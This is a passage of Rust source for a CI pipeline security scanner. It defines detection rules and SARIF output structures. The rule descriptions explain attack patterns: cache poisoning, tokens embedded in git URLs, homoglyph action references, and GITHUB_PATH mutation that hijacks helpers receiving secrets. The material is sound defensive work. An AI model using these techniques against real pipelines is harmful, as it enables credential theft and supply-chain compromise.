1425             malicious `node_modules/` cache that the next default-branch job downloads \
1426             and executes during `npm install`. Key the cache on `$CI_COMMIT_SHA` plus a \
1427             lockfile hash, or set `policy: pull` on jobs that should never write the \
1428             cache.",
1429        default_level: "error",
1430        security_severity: "7.5",
1431        tags: &["security", "supply-chain", "gitlab-ci"],
1432    },
1433    RuleDef {
1434        id: "pat_embedded_in_git_remote_url",
1435        name: "PatEmbeddedInGitRemoteUrl",
1436        short_description:
1437            "CI script embeds a credential variable inside a git remote URL (https://user:$TOKEN@host)",
1438        full_description:
1439            "A CI `script:` body constructs an HTTPS git URL with a credential-shaped \
1440             variable embedded directly in the URL (e.g. \
1441             `git remote set-url origin https://user:${PAT_TOKEN}@gitlab.com/org/repo.git`). \
1442             Once git executes against that URL the token's resolved value is visible in \
1443             the process argv (`ps`, `/proc/*/cmdline`), persists in `.git/config` for \
1444             the rest of the job (where any subsequent step can read it), and lands in \
1445             `GIT_TRACE` output if enabled. Switch to a credential helper or pass the \
1446             token via `http.extraHeader` so it never enters argv or on-disk config.",
1447        default_level: "error",
1448        security_severity: "7.5",
1449        tags: &["security", "credentials", "gitlab"],
1450    },
1451    RuleDef {
1452        id: "ci_token_triggers_downstream_with_variable_passthrough",
1453        name: "CiTokenTriggersDownstreamWithVariablePassthrough",
1454        short_description:
1455            "CI_JOB_TOKEN-driven cross-project pipeline trigger forwards `variables[…]` to the downstream pipeline",
1456        full_description:
1457            "A CI script invokes the GitLab REST API \
1458             (`POST /api/v4/projects/:id/trigger/pipeline`) with `CI_JOB_TOKEN` and \
1459             forwards user-influenced values via `variables[KEY]=...` query/form fields. \
1460             The downstream project receives those variables in its pipeline scope — a \
1461             cross-project authority bridge that bypasses the `trigger:`-keyword \
1462             parent-child trust model. When the upstream job runs on merge-request \
1463             pipelines the variable values may originate from attacker-controlled \
1464             context. Prefer the `trigger:` keyword with `strategy: depend` and \
1465             constrain which variables the downstream pipeline accepts.",
1466        default_level: "warning",
1467        security_severity: "5.0",
1468        tags: &["security", "propagation", "gitlab"],
1469    },
1470    RuleDef {
1471        id: "dotenv_artifact_flows_to_privileged_deployment",
1472        name: "DotenvArtifactFlowsToPrivilegedDeployment",
1473        short_description:
1474            "GitLab dotenv artifact flows to a downstream deployment job with a production-like environment",
1475        full_description:
1476            "A GitLab job declares `artifacts.reports.dotenv: <file>`. The file's \
1477             `KEY=value` lines are silently promoted to pipeline variables for any \
1478             consumer linked via `needs:` or `dependencies:` — there is no explicit \
1479             download visible at the job level. When a consumer in a later stage \
1480             targets a production-like environment (`prod`, `production`, `prd`, \
1481             `live`), or when the producer's script reads attacker-influenced inputs \
1482             (`CI_COMMIT_REF_NAME`, `CI_MERGE_REQUEST_SOURCE_BRANCH_NAME`, \
1483             `CI_COMMIT_TAG`), the dotenv flow is a covert privilege-escalation \
1484             channel. Validate dotenv-promoted values in the consumer before use, or \
1485             prefer pipeline-scoped variables for deployment selection.",
1486        default_level: "error",
1487        security_severity: "7.5",
1488        tags: &["security", "propagation", "gitlab"],
1489    },
1490    RuleDef {
1491        id: "setvariable_issecret_false",
1492        name: "SetvariableIssecretFalse",
1493        short_description:
1494            "ADO inline script sets a sensitive pipeline variable without issecret=true.",
1495        full_description:
1496            "An ADO inline script emits `##vso[task.setvariable variable=<NAME>]` for a \
1497             sensitive-named variable without setting `issecret=true`. Without the flag, the \
1498             variable value is printed in plaintext to the pipeline log and is not masked in \
1499             downstream step output.",
1500        default_level: "warning",
1501        security_severity: "5.0",
1502        tags: &["security", "credentials", "azure-devops"],
1503    },
1504    RuleDef {
1505        id: "homoglyph_in_action_ref",
1506        name: "HomoglyphInActionRef",
1507        short_description:
1508            "Action reference contains non-ASCII characters (possible Unicode homoglyph / confusable).",
1509        full_description:
1510            "A GitHub Actions `uses:` field contains one or more non-ASCII characters. \
1511             Legitimate action references are purely ASCII (`owner/repo@ref`). Non-ASCII \
1512             characters in this position indicate a possible Unicode confusable / homoglyph \
1513             attack: an attacker registers an action whose name visually impersonates a \
1514             trusted one by substituting look-alike characters (e.g. Cyrillic `\u{0430}` for \
1515             Latin `a`, U+2215 DIVISION SLASH for `/`). When a developer copies the \
1516             confusable reference it appears identical to the real action. Replace the \
1517             reference with the genuine ASCII action name.",
1518        default_level: "error",
1519        security_severity: "9.0",
1520        tags: &["security", "supply-chain", "github-actions"],
1521    },
1522    RuleDef {
1523        id: "gha_helper_path_sensitive_argv",
1524        name: "GhaHelperPathSensitiveArgv",
1525        short_description: "PATH-selected GHA helper receives sensitive argv.",
1526        full_description:
1527            "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1528             GitHub Action passes sensitive material to a bare helper through process \
1529             arguments. Resolve the helper to a trusted absolute path before credentials \
1530             are materialized.",
1531        default_level: "error",
1532        security_severity: "7.8",
1533        tags: &["security", "credentials", "github-actions"],
1534    },
1535    RuleDef {
1536        id: "gha_helper_path_sensitive_stdin",
1537        name: "GhaHelperPathSensitiveStdin",
1538        short_description: "PATH-selected GHA helper receives sensitive stdin.",
1539        full_description:
1540            "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1541             GitHub Action pipes secret material to a bare helper over stdin. Keep the \
1542             stdin handoff, but ensure it targets a trusted absolute helper path.",
1543        default_level: "error",
1544        security_severity: "7.8",
1545        tags: &["security", "credentials", "github-actions"],
1546    },
1547    RuleDef {
1548        id: "gha_helper_path_sensitive_env",
1549        name: "GhaHelperPathSensitiveEnv",
1550        short_description: "PATH-selected GHA helper inherits sensitive env.",
1551        full_description:
1552            "A prior same-job step mutates GITHUB_PATH before a known helper-delegating \
1553             GitHub Action invokes a bare helper while sensitive environment authority is \
1554             in scope. Validate the resolved helper path and reduce inherited env.",
1555        default_level: "error",
1556        security_severity: "7.4",
1557        tags: &["security", "credentials", "github-actions"],
1558    },
1559    RuleDef {
1560        id: "gha_post_ambient_env_cleanup_path",
1561        name: "GhaPostAmbientEnvCleanupPath",
1562        short_description: "GHA post cleanup can be retargeted by later env writes.",
1563        full_description:
1564            "A known GitHub Action post hook recomputes cleanup paths from ambient \
1565             environment and a later same-job step writes to GITHUB_ENV. Store cleanup \
1566             targets in GITHUB_STATE/core.saveState instead of ambient env.",
1567        default_level: "warning",
1568        security_severity: "5.8",
1569        tags: &["security", "cleanup", "github-actions"],
1570    },
1571    RuleDef {
1572        id: "gha_action_minted_secret_to_helper",
1573        name: "GhaActionMintedSecretToHelper",
1574        short_description: "GHA action mints a credential then hands it to PATH helper.",
1575        full_description:
1576            "A known GitHub Action mints or exchanges credentials and then delegates the \
1577             resulting authority to a helper selected through mutable PATH. Resolve helper \
1578             paths before minting credentials or reject workspace/temp helpers.",
1579        default_level: "error",
1580        security_severity: "8.0",
1581        tags: &["security", "credentials", "github-actions"],
1582    },
1583    RuleDef {
1584        id: "gha_helper_untrusted_path_resolution",
1585        name: "GhaHelperUntrustedPathResolution",
1586        short_description: "GHA action resolves a sensitive helper after GITHUB_PATH mutation.",
1587        full_description:
1588            "A prior same-job step mutates GITHUB_PATH before a known action invokes a \
1589             security-sensitive helper by bare name. Pin helper execution to a trusted \
1590             absolute path or move the PATH mutation into a separate job.",
1591        default_level: "warning",
1592        security_severity: "6.2",
1593        tags: &["security", "supply-chain", "github-actions"],
1594    },
1595    RuleDef {
1596        id: "gha_secret_output_after_helper_login",
1597        name: "GhaSecretOutputAfterHelperLogin",
1598        short_description: "GHA login action exposes helper credentials as outputs.",
1599        full_description:
1600            "A known login action is configured to expose credential material as step \
1601             outputs after helper login. Keep masking enabled and avoid forwarding login \
1602             credentials through step or job outputs.",
1603        default_level: "error",
1604        security_severity: "7.5",
1605        tags: &["security", "credentials", "github-actions"],
1606    },
1607    RuleDef {
1608        id: "later_secret_materialized_after_path_mutation",
1609        name: "LaterSecretMaterializedAfterPathMutation",
1610        short_description: "Later action authority reaches helper after earlier PATH mutation.",
1611        full_description:
1612            "An earlier same-job step mutates GITHUB_PATH, then a later known helper \
1613             action receives or mints sensitive authority and resolves a bare helper \
1614             through PATH. This is the normalized authority-edge classifier that keeps \
1615             generic PATH edits from becoming findings unless later authority reaches \
1616             the selected helper.",
1617        default_level: "error",
1618        security_severity: "7.8",
1619        tags: &["security", "credentials", "github-actions"],
1620    },
1621    RuleDef {
1622        id: "gha_setup_node_cache_helper_path_handoff",
1623        name: "GhaSetupNodeCacheHelperPathHandoff",
1624        short_description: "setup-node cache discovery resolves package-manager helpers after PATH mutation.",
1625        full_description:
1626            "actions/setup-node cache discovery invokes npm, pnpm, or yarn helpers through \
1627             PATH. When an earlier same-job step mutates GITHUB_PATH, the cache helper \
1628             selection becomes a useful authority-confusion lead rather than a generic \
1629             PATH warning.",
1630        default_level: "warning",
1631        security_severity: "5.8",
1632        tags: &["security", "cache", "github-actions"],
1633    },
1634    RuleDef {
1635        id: "gha_setup_python_cache_helper_path_handoff",
1636        name: "GhaSetupPythonCacheHelperPathHandoff",
1637        short_description: "setup-python cache discovery resolves pip/poetry helpers after PATH mutation.",
1638        full_description:
1639            "actions/setup-python cache modes for pip and poetry invoke package-manager \
1640             helpers through PATH. When an earlier same-job step mutates GITHUB_PATH, \
1641             the cache discovery boundary becomes a source lead for helper-resolution \
1642             authority review.",
1643        default_level: "warning",
1644        security_severity: "5.8",
1645        tags: &["security", "cache", "github-actions"],
1646    },
1647    RuleDef {
1648        id: "gha_setup_python_pip_install_authority_env",
1649        name: "GhaSetupPythonPipInstallAuthorityEnv",
1650        short_description: "setup-python pip-install mode inherits ambient authority.",
1651        full_description:
1652            "actions/setup-python pip-install mode invokes python -m pip install while the \
1653             job has token, package-index, cloud, or identity authority in scope. Treat \
1654             this as a hardening lead for explicit environment allowlisting around \
1655             package installation.",
1656        default_level: "warning",
1657        security_severity: "5.4",
1658        tags: &["security", "credentials", "github-actions"],
1659    },
1660    RuleDef {
1661        id: "gha_docker_setup_qemu_privileged_docker_helper",
1662        name: "GhaDockerSetupQemuPrivilegedDockerHelper",
1663        short_description: "setup-qemu runs privileged Docker helper after registry authority.",
1664        full_description:
1665            "docker/setup-qemu-action delegates to Docker helper operations including \
1666             privileged container execution. The rule fires when earlier registry login \
1667             or private image context exists and an earlier GITHUB_PATH mutation may \
1668             influence Docker helper resolution.",
1669        default_level: "error",
1670        security_severity: "7.2",
1671        tags: &["security", "docker", "github-actions"],
1672    },
1673    RuleDef {
1674        id: "gha_setup_go_cache_helper_path_handoff",
1675        name: "GhaSetupGoCacheHelperPathHandoff",
1676        short_description:
1677            "setup-go cache discovery resolves Go helpers after PATH mutation.",
1678        full_description:
1679            "actions/setup-go cache discovery can invoke Go helper commands through \
1680             PATH. When an earlier same-job step mutates GITHUB_PATH and cache mode is \
1681             explicit, the cache boundary becomes a source lead for helper-resolution \
1682             authority review.",
1683        default_level: "warning",
1684        security_severity: "5.0",
1685        tags: &["security", "cache", "github-actions"],
1686    },
1687    RuleDef {
1688        id: "gha_tool_installer_then_shell_helper_authority",
1689        name: "GhaToolInstallerThenShellHelperAuthority",
1690        short_description: "Installed helper is later used from shell with deploy/signing authority.",
1691        full_description:
1692            "A tool installer such as setup-helm, setup-kubectl, or cosign-installer is \
1693             followed by workflow-authored shell use of that helper while deploy, \
1694             Kubernetes, registry, signing, token, or cloud authority is in scope. This \
1695             is an advisory workflow-shell classifier unless source or witness evidence \
1696             identifies an action-owned helper boundary.",
1697        default_level: "warning",
1698        security_severity: "5.2",
1699        tags: &["security", "workflow-shell", "github-actions"],
1700    },
1701    RuleDef {
1702        id: "gha_workflow_shell_authority_concentration",
1703        name: "GhaWorkflowShellAuthorityConcentration",
1704        short_description: "Workflow shell step concentrates publish, deploy, signing, or release authority.",
1705        full_description:
1706            "A workflow-authored shell step invokes a known authority-bearing sink such \
1707             as docker push, npm publish, twine upload, terraform apply/output, helm \
1708             push, kubectl remote apply, cosign sign/attest, gh release, or cargo \
1709             publish while token, cloud, registry, package, or signing authority is in \
1710             scope. This is a corpus and hardening classifier, not a vulnerability claim.",
1711        default_level: "warning",
1712        security_severity: "5.0",
1713        tags: &["security", "workflow-shell", "github-actions"],
1714    },
1715    RuleDef {
1716        id: "gha_action_token_env_before_bare_download_helper",
1717        name: "GhaActionTokenEnvBeforeBareDownloadHelper",
1718        short_description: "Token-bearing action resolves download helpers after PATH mutation.",
1719        full_description:
1720            "A reviewed upload/release action receives token authority after an earlier \
1721             same-job GITHUB_PATH mutation and invokes bare download or verification \
1722             helpers such as curl, wget, gpg, or checksum tools. Treat this as an \
1723             authority-boundary lead unless source or witness evidence upgrades it.",
1724        default_level: "error",
1725        security_severity: "7.0",
1726        tags: &["security", "credentials", "github-actions"],
1727    },
1728    RuleDef {
1729        id: "gha_post_action_input_retarget_to_cache_save",
1730        name: "GhaPostActionInputRetargetToCacheSave",
1731        short_description: "Cache post-save boundary can be retargeted by later env mutation.",
1732        full_description:
1733            "An actions/cache restore/save boundary is followed by same-job environment \
1734             mutation of cache path, key, or INPUT_-style variables. This flags a \
1735             post-action retargeting lead, not a vulnerability claim.",
1736        default_level: "warning",
1737        security_severity: "5.2",
1738        tags: &["security", "cache", "github-actions"],
1739    },
1740    RuleDef {
1741        id: "gha_terraform_wrapper_sensitive_output",
1742        name: "GhaTerraformWrapperSensitiveOutput",
1743        short_description: "Terraform wrapper stdout/stderr outputs are consumed later.",
1744        full_description:
1745            "hashicorp/setup-terraform wrapper mode captures Terraform stdout/stderr as \
1746             step outputs. A later step consuming those outputs can accidentally move \
1747             sensitive plan or output material across the workflow.",
1748        default_level: "warning",
1749        security_severity: "5.4",
1750        tags: &["security", "credentials", "github-actions"],
1751    },
1752    RuleDef {
1753        id: "gha_composite_bare_helper_after_path_install_with_secret_env",
1754        name: "GhaCompositeBareHelperAfterPathInstallWithSecretEnv",
1755        short_description: "Bare helper runs after PATH mutation with secret env authority.",
1756        full_description:
1757            "A workflow or composite-style shell step invokes bare package, deploy, \
1758             signing, cloud, or release helpers after earlier GITHUB_PATH mutation while \
1759             secret authority is in scope. This is a deterministic hardening classifier.",
1760        default_level: "warning",
1761        security_severity: "5.6",
1762        tags: &["security", "workflow-shell", "github-actions"],
1763    },
1764    RuleDef {
1765        id: "gha_pulumi_path_resolved_cli_with_authority",
1766        name: "GhaPulumiPathResolvedCliWithAuthority",
1767        short_description: "Pulumi authority reaches PATH-resolved CLI helper.",
1768        full_description:
1769            "pulumi/actions receives Pulumi token, cloud, or stack authority after an \
1770             earlier same-job GITHUB_PATH mutation and delegates to a PATH-resolved \
1771             pulumi helper.",
1772        default_level: "error",
1773        security_severity: "7.4",
1774        tags: &["security", "credentials", "github-actions"],
1775    },
1776    RuleDef {
1777        id: "gha_pypi_publish_oidc_after_path_mutation",
1778        name: "GhaPypiPublishOidcAfterPathMutation",
1779        short_description: "PyPI publish/OIDC authority follows PATH mutation.",
1780        full_description:
1781            "pypa/gh-action-pypi-publish receives PyPI token or trusted-publishing \
1782             OIDC authority after an earlier same-job GITHUB_PATH mutation and reaches \
1783             Python packaging helper resolution.",
1784        default_level: "error",
1785        security_severity: "7.4",
1786        tags: &["security", "credentials", "github-actions"],
1787    },
1788    RuleDef {
1789        id: "gha_changesets_publish_command_with_authority",
1790        name: "GhaChangesetsPublishCommandWithAuthority",
1791        short_description: "Changesets publish command runs after PATH mutation with package authority.",
1792        full_description:
1793            "changesets/action has a publish command and package/GitHub token authority \
1794             after an earlier same-job GITHUB_PATH mutation. The action may delegate to \
1795             npm, pnpm, or yarn helpers selected through PATH.",
1796        default_level: "error",
1797        security_severity: "7.2",
1798        tags: &["security", "credentials", "github-actions"],
1799    },
1800    RuleDef {
1801        id: "gha_rubygems_release_git_token_and_oidc_helper",
1802        name: "GhaRubygemsReleaseGitTokenAndOidcHelper",
1803        short_description: "RubyGems release authority reaches PATH helpers.",
1804        full_description:
1805            "rubygems/release-gem receives RubyGems token, GitHub token, or OIDC release \
1806             authority after an earlier same-job GITHUB_PATH mutation and can delegate \
1807             to gem, bundle, or git helpers.",
1808        default_level: "error",
1809        security_severity: "7.2",
1810        tags: &["security", "credentials", "github-actions"],
1811    },
1812    RuleDef {
1813        id: "gha_composite_entrypoint_path_shadow_with_secret_env",
1814        name: "GhaCompositeEntrypointPathShadowWithSecretEnv",
1815        short_description: "Local/composite action runs after PATH mutation with secret env.",
1816        full_description:
1817            "A local/composite action reference runs after an earlier same-job GITHUB_PATH \
1818             mutation while secret authority is directly attached to the action step. \
1819             taudit does not inline local action internals, so this is emitted as a \
1820             review lead for entrypoint and helper resolution.",
1821        default_level: "warning",
1822        security_severity: "5.6",
1823        tags: &["security", "workflow-shell", "github-actions"],
1824    },
1825    RuleDef {
1826        id: "gha_docker_buildx_authority_path_handoff",
1827        name: "GhaDockerBuildxAuthorityPathHandoff",
1828        short_description: "Docker Buildx authority reaches helpers after PATH mutation.",
1829        full_description:
1830            "docker/build-push-action or docker/setup-buildx-action runs after an \
1831             earlier same-job GITHUB_PATH mutation while registry, SSH, build-secret, \
1832             or publish authority is in scope. Treat this as a Docker helper-boundary \
1833             authority lead.",
1834        default_level: "error",
1835        security_severity: "7.2",
1836        tags: &["security", "docker", "github-actions"],
1837    },
1838    RuleDef {
1839        id: "gha_google_deploy_gcloud_credential_path",
1840        name: "GhaGoogleDeployGcloudCredentialPath",
1841        short_description: "Google deploy credential reaches PATH-resolved gcloud.",
1842        full_description:
1843            "Google deploy actions for App Engine or Cloud Run run after earlier \
1844             same-job GITHUB_PATH mutation while Google deploy credentials, ADC, OIDC, \
1845             or service-account authority is present, then delegate to gcloud.",
1846        default_level: "error",
1847        security_severity: "7.6",
1848        tags: &["security", "credentials", "github-actions"],
1849    },
1850    RuleDef {
1851        id: "gha_datadog_test_visibility_installer_authority",
1852        name: "GhaDatadogTestVisibilityInstallerAuthority",
1853        short_description: "Datadog test visibility helper runs with API key authority.",
1854        full_description:
1855            "datadog/test-visibility-github-action runs after earlier same-job \
1856             GITHUB_PATH mutation while Datadog API key or test visibility upload \
1857             authority is present around installer/runtime helper resolution.",
1858        default_level: "warning",
1859        security_severity: "5.8",
1860        tags: &["security", "credentials", "github-actions"],
1861    },
1862    RuleDef {
1863        id: "gha_kubernetes_helper_kubeconfig_authority",
1864        name: "GhaKubernetesHelperKubeconfigAuthority",
1865        short_description: "Kubernetes helpers run with kubeconfig authority after PATH mutation.",
1866        full_description:
1867            "A workflow shell step invokes kubectl or helm deploy helpers after earlier \
1868             same-job GITHUB_PATH mutation while kubeconfig or cluster deploy authority \
1869             is present. This identifies Kubernetes helper-resolution authority leads.",
1870        default_level: "error",
1871        security_severity: "7.2",
1872        tags: &["security", "kubernetes", "github-actions"],
1873    },
1874    RuleDef {
1875        id: "gha_azure_companion_helper_authority",
1876        name: "GhaAzureCompanionHelperAuthority",
1877        short_description: "Azure companion helpers run after PATH mutation with cloud authority.",
1878        full_description:
1879            "A workflow shell step invokes Azure companion helpers such as sqlcmd, \
1880             SqlPackage, kubelogin, pwsh, or powershell after earlier same-job \
1881             GITHUB_PATH mutation and after Azure login or cloud authority is present.",
1882        default_level: "error",
1883        security_severity: "7.2",
1884        tags: &["security", "azure", "github-actions"],
1885    },
1886    RuleDef {
1887        id: "gha_create_pr_git_token_path_handoff",
1888        name: "GhaCreatePrGitTokenPathHandoff",
1889        short_description:
1890            "create-pull-request delegates token authority to PATH-selected git.",
1891        full_description:
1892            "peter-evans/create-pull-request receives GitHub/App token authority or \
1893             write-scoped repository permissions after an earlier same-job GITHUB_PATH \
1894             mutation, then delegates repository mutation to a git helper selected \
1895             through PATH. Treat this as an action-boundary authority lead.",
1896        default_level: "error",
1897        security_severity: "7.8",
1898        tags: &["security", "credentials", "github-actions"],
1899    },
1900    RuleDef {
1901        id: "gha_import_gpg_private_key_helper_path",
1902        name: "GhaImportGpgPrivateKeyHelperPath",
1903        short_description: "GPG import action delegates key material to PATH helpers.",
1904        full_description:
1905            "crazy-max/ghaction-import-gpg receives GPG private key or passphrase \
1906             material after an earlier same-job GITHUB_PATH mutation, then invokes \
1907             gpg or gpg-connect-agent by helper name. Resolve signing helpers to \
1908             trusted paths before private key material is present.",
1909        default_level: "error",
1910        security_severity: "7.8",
1911        tags: &["security", "credentials", "github-actions"],
1912    },
1913    RuleDef {
1914        id: "gha_ssh_agent_private_key_to_path_helper",
1915        name: "GhaSshAgentPrivateKeyToPathHelper",
1916        short_description: "SSH agent action delegates private key material to PATH helpers.",
1917        full_description:
1918            "webfactory/ssh-agent receives SSH private key material after an earlier \
1919             same-job GITHUB_PATH mutation, then invokes ssh-agent or ssh-add through \
1920             PATH. Ensure SSH helpers resolve to trusted runner paths before key \
1921             material reaches stdin or agent state.",
1922        default_level: "error",
1923        security_severity: "7.8",
1924        tags: &["security", "credentials", "github-actions"],
1925    },
1926    RuleDef {
1927        id: "gha_macos_codesign_cert_security_path",
1928        name: "GhaMacosCodesignCertSecurityPath",
1929        short_description: "macOS codesign import delegates certificate authority to security.",
1930        full_description:
1931            "apple-actions/import-codesign-certs receives P12, certificate password, or \
1932             keychain authority after an earlier same-job GITHUB_PATH mutation, then \
1933             delegates to the macOS security helper. Resolve security through a trusted \
1934             absolute path before certificate material is available.",
1935        default_level: "error",
1936        security_severity: "7.8",
1937        tags: &["security", "credentials", "github-actions"],
1938    },
1939    RuleDef {
1940        id: "gha_pages_deploy_token_url_to_git_helper",
1941        name: "GhaPagesDeployTokenUrlToGitHelper",
1942        short_description: "Pages deploy action delegates token URL authority to git.",
1943        full_description:
1944            "Pages deploy actions such as peaceiris/actions-gh-pages or \
1945             JamesIves/github-pages-deploy-action receive GitHub token, PAT, or deploy \
1946             key authority after an earlier same-job GITHUB_PATH mutation, then compose \
1947             Git push authority for a PATH-selected git helper.",
1948        default_level: "error",
1949        security_severity: "7.6",
1950        tags: &["security", "credentials", "github-actions"],
1951    },
1952    RuleDef {
1953        id: "gha_toolcache_absolute_path_downgrade",
1954        name: "GhaToolcacheAbsolutePathDowngrade",
1955        short_description: "Precision guard for toolcache absolute helper execution.",
1956        full_description:
1957            "Precision guard for GitHub Actions that install helpers into the runner \
1958             toolcache and invoke an absolute path. This rule id documents the negative \
1959             control used to avoid helper-PATH false positives.",
1960        default_level: "note",
1961        security_severity: "0.0",
1962        tags: &["security", "precision", "github-actions"],
1963    },
1964];
1965
1966// ── SARIF 2.1.0 schema structs ──────────────────────────
1967
1968#[derive(Serialize)]
1969struct SarifLog {
1970    #[serde(rename = "$schema")]
1971    schema: &'static str,
1972    version: &'static str,
1973    runs: Vec<SarifRun>,
1974}
1975
1976#[derive(Serialize)]
1977struct SarifRun {
1978    tool: SarifTool,
1979    results: Vec<SarifResult>,
1980}
1981
1982#[derive(Serialize)]
1983struct SarifTool {
1984    driver: SarifDriver,
1985}
1986
1987#[derive(Serialize)]
1988struct SarifDriver {
1989    name: &'static str,
1990    version: String,
1991    #[serde(rename = "informationUri")]
1992    information_uri: &'static str,
1993    rules: Vec<SarifRule>,
1994}
1995
1996#[derive(Serialize)]
1997struct SarifRule {
1998    id: String,
1999    name: String,
2000    #[serde(rename = "shortDescription")]
2001    short_description: SarifMessage,
2002    #[serde(rename = "fullDescription")]
2003    full_description: SarifMessage,
2004    #[serde(rename = "defaultConfiguration")]
2005    default_configuration: SarifDefaultConfiguration,
2006    #[serde(rename = "helpUri")]
2007    help_uri: String,
2008    properties: SarifRuleProperties,
2009}
2010
2011#[derive(Serialize)]
2012struct SarifDefaultConfiguration {
2013    level: String,
2014}
2015
2016#[derive(Serialize)]
2017struct SarifRuleProperties {
2018    #[serde(rename = "security-severity")]
2019    security_severity: String,
2020    tags: Vec<String>,
2021}
2022
2023#[derive(Serialize, Clone)]
2024struct SarifMessage {
2025    text: String,
2026}
2027
2028#[derive(Serialize)]
2029struct SarifResult {
2030    #[serde(rename = "ruleId")]
2031    rule_id: String,
2032    level: &'static str,
2033    message: SarifMessage,
2034    locations: Vec<SarifLocation>,
2035    properties: SarifResultProperties,
2036    #[serde(rename = "partialFingerprints")]
2037    partial_fingerprints: SarifPartialFingerprints,
2038}
2039
2040#[derive(Serialize)]
2041struct SarifResultProperties {
2042    #[serde(rename = "security-severity")]
2043    security_severity: &'static str,
2044    /// Provenance label distinguishing built-in findings from those emitted
2045    /// by custom invariant YAML loaded via `--invariants-dir`. SIEMs and
2046    /// triage tooling should treat any non-`built-in` value as
2047    /// untrusted-by-default — anyone with write access to the invariants
2048    /// directory can otherwise emit arbitrarily-worded CRITICAL findings
2049    /// indistinguishable from authentic ones. Format: literal `built-in`
2050    /// for shipped rules, `custom:<source-file-path>` for custom invariants.
2051    #[serde(rename = "taudit-source")]
2052    taudit_source: String,
2053    /// Stable UUID v5 grouping per `(rule, file, root authority)` cluster.
2054    /// SARIF viewers (GitHub Code Scanning, VS Code) expose `properties.*`
2055    /// as raw key/value pairs, so this field is consumable directly.
2056    /// See `docs/finding-output-enhancements.md`.
2057    #[serde(rename = "findingGroupId", skip_serializing_if = "Option::is_none")]
2058    finding_group_id: Option<String>,
2059    /// Operator-stable waiver key. Coarser than `partialFingerprints` and
2060    /// intended for `.taudit-suppressions.yml` entries that should survive
2061    /// unrelated surrounding workflow edits.
2062    #[serde(rename = "suppressionKey")]
2063    suppression_key: String,
2064    /// Coarse remediation effort: trivial / small / medium / large.
2065    /// Triage dashboards sort by `severity * timeToFix` to surface the
2066    /// highest-ROI fixes. See `docs/finding-output-enhancements.md`.
2067    #[serde(rename = "timeToFix", skip_serializing_if = "Option::is_none")]
2068    time_to_fix: Option<&'static str>,
2069    /// Detected compensating controls that downgraded this finding's
2070    /// severity. Empty list serializes nothing. See blueteam corpus
2071    /// defense report Section 4.
2072    #[serde(rename = "compensatingControls", skip_serializing_if = "Vec::is_empty")]
2073    compensating_controls: Vec<String>,
2074    /// SARIF 2.1.0 `result.suppressions` shape lives at top-level on
2075    /// `SarifResult`, but we mirror the boolean here so consumers reading
2076    /// `properties` see the same flag without parsing the suppressions array.
2077    #[serde(rename = "suppressed", skip_serializing_if = "is_false_ref")]
2078    suppressed: bool,
2079    /// Pre-downgrade severity when the suppression applicator OR a
2080    /// compensating control modified `level`. Useful for dashboards that
2081    /// want to render "downgraded from Critical" badges.
2082    #[serde(rename = "originalSeverity", skip_serializing_if = "Option::is_none")]
2083    original_severity: Option<&'static str>,
2084    /// Confidence boundary for the finding, currently `yaml_only` for
2085    /// built-in static analysis findings.
2086    #[serde(rename = "confidenceScope", skip_serializing_if = "Option::is_none")]
2087    confidence_scope: Option<String>,
2088    /// Runtime or provider-side preconditions that must be verified before
2089    /// claiming live exploitability from the static SARIF result.
2090    #[serde(rename = "runtimePreconditions", skip_serializing_if = "Vec::is_empty")]
2091    runtime_preconditions: Vec<String>,
2092    /// True when exploitability depends on provider control-plane settings
2093    /// outside the scanned YAML artifact.
2094    #[serde(
2095        rename = "portalControlDependency",
2096        skip_serializing_if = "is_false_ref"
2097    )]
2098    portal_control_dependency: bool,
2099    /// Coarse authority kinds involved in the result.
2100    #[serde(rename = "authorityKinds", skip_serializing_if = "Vec::is_empty")]
2101    authority_kinds: Vec<String>,
2102    /// Coarse attacker-influenced surfaces involved in the result.
2103    #[serde(rename = "attackerSurfaceKinds", skip_serializing_if = "Vec::is_empty")]
2104    attacker_surface_kinds: Vec<String>,
2105    /// Resolution strength for template/reusable-workflow delegation results.
2106    #[serde(
2107        rename = "templateResolutionStrength",
2108        skip_serializing_if = "Option::is_none"
2109    )]
2110    template_resolution_strength: Option<String>,
2111    /// Relationship to cited CVE/advisory classes.
2112    #[serde(rename = "cveRelationship", skip_serializing_if = "Option::is_none")]
2113    cve_relationship: Option<String>,
2114}
2115
2116#[allow(clippy::trivially_copy_pass_by_ref)]
2117fn is_false_ref(b: &bool) -> bool {
2118    !*b
2119}
2120
2121fn fix_effort_to_str(e: FixEffort) -> &'static str {
2122    match e {
2123        FixEffort::Trivial => "trivial",
2124        FixEffort::Small => "small",
2125        FixEffort::Medium => "medium",
2126        FixEffort::Large => "large",
2127    }
2128}
2129
2130fn severity_to_str(s: Severity) -> &'static str {
2131    match s {
2132        Severity::Critical => "critical",
2133        Severity::High => "high",
2134        Severity::Medium => "medium",
2135        Severity::Low => "low",
2136        Severity::Info => "info",
2137    }
2138}
2139
2140#[derive(Serialize)]
2141struct SarifPartialFingerprints {
2142    /// SARIF-canonical key. GitHub Code Scanning's baseline-mapping
2143    /// algorithm checks this first to decide "same finding as last run?".
2144    /// Preserves UI-side state (suppressions, dismissals) across re-runs.
2145    #[serde(rename = "primaryLocationLineHash")]
2146    primary_location_line_hash: String,
2147    /// Tool-namespaced, version-tagged handle. Byte-identical to
2148    /// `primaryLocationLineHash` today; the version suffix lets a future
2149    /// fingerprint-formula bump (v2) signal "old suppressions don't carry
2150    /// over" via key change rather than a silent value change. Recommended
2151    /// handle for SIEMs and external suppression DBs that aren't bound to
2152    /// SARIF's specific baseline-mapping semantics.
2153    /// See `docs/finding-fingerprint.md` § "SARIF baseline integration".
2154    #[serde(rename = "taudit/v1")]
2155    taudit_v1: String,
2156}
2157
2158#[derive(Serialize)]
2159struct SarifLocation {
2160    #[serde(rename = "physicalLocation")]
2161    physical_location: SarifPhysicalLocation,
2162}
2163
2164#[derive(Serialize)]
2165struct SarifPhysicalLocation {
2166    #[serde(rename = "artifactLocation")]
2167    artifact_location: SarifArtifactLocation,
2168}
2169
2170#[derive(Serialize)]
2171struct SarifArtifactLocation {
2172    uri: String,
2173    #[serde(rename = "uriBaseId")]
2174    uri_base_id: &'static str,
2175}
2176
2177// ── Adapter ─────────────────────────────────────────────
2178
2179pub struct SarifReportSink;
2180
2181impl SarifReportSink {
2182    /// Emit a single SARIF 2.1.0 document aggregating findings from multiple
2183    /// pipeline files. All results land in one `runs[0]` entry so downstream
